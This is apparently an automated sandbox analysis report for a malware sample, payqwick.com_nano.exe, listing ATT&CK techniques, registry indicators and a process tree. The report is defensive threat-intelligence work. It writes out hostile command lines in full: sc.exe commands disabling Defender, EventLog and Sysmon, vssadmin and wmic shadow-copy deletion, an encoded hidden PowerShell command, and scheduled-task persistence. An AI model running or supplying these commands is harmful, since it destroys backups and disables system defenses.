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Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	payqwick.com_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	payqwick.com_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3396	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	payqwick.com_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	payqwick.com_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	payqwick.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	payqwick.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	payqwick.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2696	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	payqwick.com_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	payqwick.com_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	payqwick.com_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	payqwick.com_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
644	net.exe
3928	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3332	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	payqwick.com_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	payqwick.com_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	payqwick.com_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	payqwick.com_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	payqwick.com_nano.exe
File created	C:\Windows\system32\svchost.exe	payqwick.com_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3704	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	payqwick.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	payqwick.com_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
4132	payqwick.com_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
944	sc.exe
1676	sc.exe
4032	sc.exe
364	sc.exe
4004	sc.exe
4072	sc.exe
3912	sc.exe
1956	sc.exe
1216	sc.exe
2232	sc.exe
4988	sc.exe
4500	sc.exe
1688	sc.exe
4424	sc.exe
1236	sc.exe
4664	sc.exe
4352	sc.exe
1840	sc.exe
4408	sc.exe
4648	sc.exe
1380	sc.exe
4040	sc.exe
4792	sc.exe
1760	sc.exe
2868	sc.exe
4400	sc.exe
2976	sc.exe
3312	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
944	cmd.exe
640	cmd.exe
1836	cmd.exe
760	cmd.exe
1960	cmd.exe
4576	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	payqwick.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	payqwick.com_nano.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2484	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4620	NETSTAT.EXE
4992	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5044	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3204	vssadmin.exe
3988	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\WallpaperStyle = "2"	payqwick.com_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	payqwick.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings	payqwick.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open	payqwick.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe"	payqwick.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\payqwick.com_nano.exe\" \"%1\""	payqwick.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open	payqwick.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	payqwick.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	payqwick.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command	payqwick.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell	payqwick.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command	payqwick.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\.pdf\ = "PDFBotnet"	payqwick.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings	payqwick.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell	payqwick.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command\DelegateExecute	payqwick.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	payqwick.com_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4676	schtasks.exe
2788	schtasks.exe
4328	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
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4132	payqwick.com_nano.exe
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4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
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4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
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4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
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4132	payqwick.com_nano.exe
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4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
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4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe
4132	payqwick.com_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4132	payqwick.com_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	4132	payqwick.com_nano.exe
Token: SeIncreaseQuotaPrivilege	3928	WMIC.exe
Token: SeSecurityPrivilege	3928	WMIC.exe
Token: SeTakeOwnershipPrivilege	3928	WMIC.exe
Token: SeLoadDriverPrivilege	3928	WMIC.exe
Token: SeSystemProfilePrivilege	3928	WMIC.exe
Token: SeSystemtimePrivilege	3928	WMIC.exe
Token: SeProfSingleProcessPrivilege	3928	WMIC.exe
Token: SeIncBasePriorityPrivilege	3928	WMIC.exe
Token: SeCreatePagefilePrivilege	3928	WMIC.exe
Token: SeBackupPrivilege	3928	WMIC.exe
Token: SeRestorePrivilege	3928	WMIC.exe
Token: SeShutdownPrivilege	3928	WMIC.exe
Token: SeDebugPrivilege	3928	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3928	WMIC.exe
Token: SeRemoteShutdownPrivilege	3928	WMIC.exe
Token: SeUndockPrivilege	3928	WMIC.exe
Token: SeManageVolumePrivilege	3928	WMIC.exe
Token: 33	3928	WMIC.exe
Token: 34	3928	WMIC.exe
Token: 35	3928	WMIC.exe
Token: 36	3928	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3928	WMIC.exe
Token: SeSecurityPrivilege	3928	WMIC.exe
Token: SeTakeOwnershipPrivilege	3928	WMIC.exe
Token: SeLoadDriverPrivilege	3928	WMIC.exe
Token: SeSystemProfilePrivilege	3928	WMIC.exe
Token: SeSystemtimePrivilege	3928	WMIC.exe
Token: SeProfSingleProcessPrivilege	3928	WMIC.exe
Token: SeIncBasePriorityPrivilege	3928	WMIC.exe
Token: SeCreatePagefilePrivilege	3928	WMIC.exe
Token: SeBackupPrivilege	3928	WMIC.exe
Token: SeRestorePrivilege	3928	WMIC.exe
Token: SeShutdownPrivilege	3928	WMIC.exe
Token: SeDebugPrivilege	3928	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3928	WMIC.exe
Token: SeRemoteShutdownPrivilege	3928	WMIC.exe
Token: SeUndockPrivilege	3928	WMIC.exe
Token: SeManageVolumePrivilege	3928	WMIC.exe
Token: 33	3928	WMIC.exe
Token: 34	3928	WMIC.exe
Token: 35	3928	WMIC.exe
Token: 36	3928	WMIC.exe
Token: SeIncBasePriorityPrivilege	4132	payqwick.com_nano.exe
Token: SeDebugPrivilege	3332	tasklist.exe
Token: SeDebugPrivilege	4948	whoami.exe
Token: SeDebugPrivilege	4620	NETSTAT.EXE
Token: SeIncreaseQuotaPrivilege	3740	WMIC.exe
Token: SeSecurityPrivilege	3740	WMIC.exe
Token: SeTakeOwnershipPrivilege	3740	WMIC.exe
Token: SeLoadDriverPrivilege	3740	WMIC.exe
Token: SeSystemProfilePrivilege	3740	WMIC.exe
Token: SeSystemtimePrivilege	3740	WMIC.exe
Token: SeProfSingleProcessPrivilege	3740	WMIC.exe
Token: SeIncBasePriorityPrivilege	3740	WMIC.exe
Token: SeCreatePagefilePrivilege	3740	WMIC.exe
Token: SeBackupPrivilege	3740	WMIC.exe
Token: SeRestorePrivilege	3740	WMIC.exe
Token: SeShutdownPrivilege	3740	WMIC.exe
Token: SeDebugPrivilege	3740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3740	WMIC.exe
Token: SeRemoteShutdownPrivilege	3740	WMIC.exe
Token: SeUndockPrivilege	3740	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4132	payqwick.com_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4132 wrote to memory of 3396	4132	payqwick.com_nano.exe	85
PID 4132 wrote to memory of 4408	4132	payqwick.com_nano.exe	87
PID 4132 wrote to memory of 4500	4132	payqwick.com_nano.exe	89
PID 4132 wrote to memory of 1688	4132	payqwick.com_nano.exe	91
PID 4132 wrote to memory of 4424	4132	payqwick.com_nano.exe	93
PID 4132 wrote to memory of 4648	4132	payqwick.com_nano.exe	95
PID 4132 wrote to memory of 1236	4132	payqwick.com_nano.exe	97
PID 4132 wrote to memory of 4004	4132	payqwick.com_nano.exe	99
PID 4132 wrote to memory of 2868	4132	payqwick.com_nano.exe	101
PID 4132 wrote to memory of 4400	4132	payqwick.com_nano.exe	152
PID 4132 wrote to memory of 2976	4132	payqwick.com_nano.exe	105
PID 4132 wrote to memory of 1380	4132	payqwick.com_nano.exe	107
PID 4132 wrote to memory of 4072	4132	payqwick.com_nano.exe	109
PID 4132 wrote to memory of 3912	4132	payqwick.com_nano.exe	111
PID 4132 wrote to memory of 4664	4132	payqwick.com_nano.exe	113
PID 4132 wrote to memory of 1956	4132	payqwick.com_nano.exe	115
PID 4132 wrote to memory of 3312	4132	payqwick.com_nano.exe	117
PID 4132 wrote to memory of 944	4132	payqwick.com_nano.exe	153
PID 4132 wrote to memory of 4040	4132	payqwick.com_nano.exe	121
PID 4132 wrote to memory of 1676	4132	payqwick.com_nano.exe	123
PID 4132 wrote to memory of 4792	4132	payqwick.com_nano.exe	125
PID 4132 wrote to memory of 1216	4132	payqwick.com_nano.exe	127
PID 4132 wrote to memory of 2232	4132	payqwick.com_nano.exe	129
PID 4132 wrote to memory of 1760	4132	payqwick.com_nano.exe	131
PID 4132 wrote to memory of 4352	4132	payqwick.com_nano.exe	133
PID 4132 wrote to memory of 4476	4132	payqwick.com_nano.exe	135
PID 4132 wrote to memory of 1840	4132	payqwick.com_nano.exe	136
PID 4132 wrote to memory of 4032	4132	payqwick.com_nano.exe	138
PID 4132 wrote to memory of 3204	4132	payqwick.com_nano.exe	140
PID 4132 wrote to memory of 3928	4132	payqwick.com_nano.exe	195
PID 4132 wrote to memory of 4676	4132	payqwick.com_nano.exe	144
PID 4132 wrote to memory of 2788	4132	payqwick.com_nano.exe	189
PID 4476 wrote to memory of 1712	4476	fodhelper.exe	149
PID 4132 wrote to memory of 944	4132	payqwick.com_nano.exe	153
PID 4132 wrote to memory of 4576	4132	payqwick.com_nano.exe	155
PID 4132 wrote to memory of 1960	4132	payqwick.com_nano.exe	156
PID 4132 wrote to memory of 760	4132	payqwick.com_nano.exe	157
PID 4132 wrote to memory of 1836	4132	payqwick.com_nano.exe	158
PID 4132 wrote to memory of 640	4132	payqwick.com_nano.exe	159
PID 4132 wrote to memory of 4328	4132	payqwick.com_nano.exe	161
PID 4132 wrote to memory of 3704	4132	payqwick.com_nano.exe	167
PID 1960 wrote to memory of 3332	1960	cmd.exe	168
PID 4576 wrote to memory of 5044	4576	cmd.exe	169
PID 760 wrote to memory of 4948	760	cmd.exe	170
PID 944 wrote to memory of 3988	944	cmd.exe	171
PID 640 wrote to memory of 4620	640	cmd.exe	172
PID 1836 wrote to memory of 4992	1836	cmd.exe	173
PID 944 wrote to memory of 3740	944	cmd.exe	175
PID 4132 wrote to memory of 4080	4132	payqwick.com_nano.exe	176
PID 4132 wrote to memory of 2892	4132	payqwick.com_nano.exe	177
PID 4132 wrote to memory of 2696	4132	payqwick.com_nano.exe	179
PID 4132 wrote to memory of 364	4132	payqwick.com_nano.exe	181
PID 4132 wrote to memory of 4988	4132	payqwick.com_nano.exe	182
PID 4132 wrote to memory of 4436	4132	payqwick.com_nano.exe	183
PID 4132 wrote to memory of 2484	4132	payqwick.com_nano.exe	184
PID 2892 wrote to memory of 2788	2892	net.exe	189
PID 4132 wrote to memory of 644	4132	payqwick.com_nano.exe	190
PID 4132 wrote to memory of 4424	4132	payqwick.com_nano.exe	192
PID 644 wrote to memory of 3928	644	net.exe	195
PID 4424 wrote to memory of 4800	4424	net.exe	196

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe
"C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4408
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1688
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4648
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1236
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4004
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4400
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:2976
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:1380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:3912
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:1956
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:3312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:944
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:1676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4792
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:1216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:2232
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:1760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4352
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe"
    3⤵
    PID:1712
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1840
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4032
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3204
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3928
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4676
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3988
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3740
- C:\Windows\SYSTEM32\cmd.exe
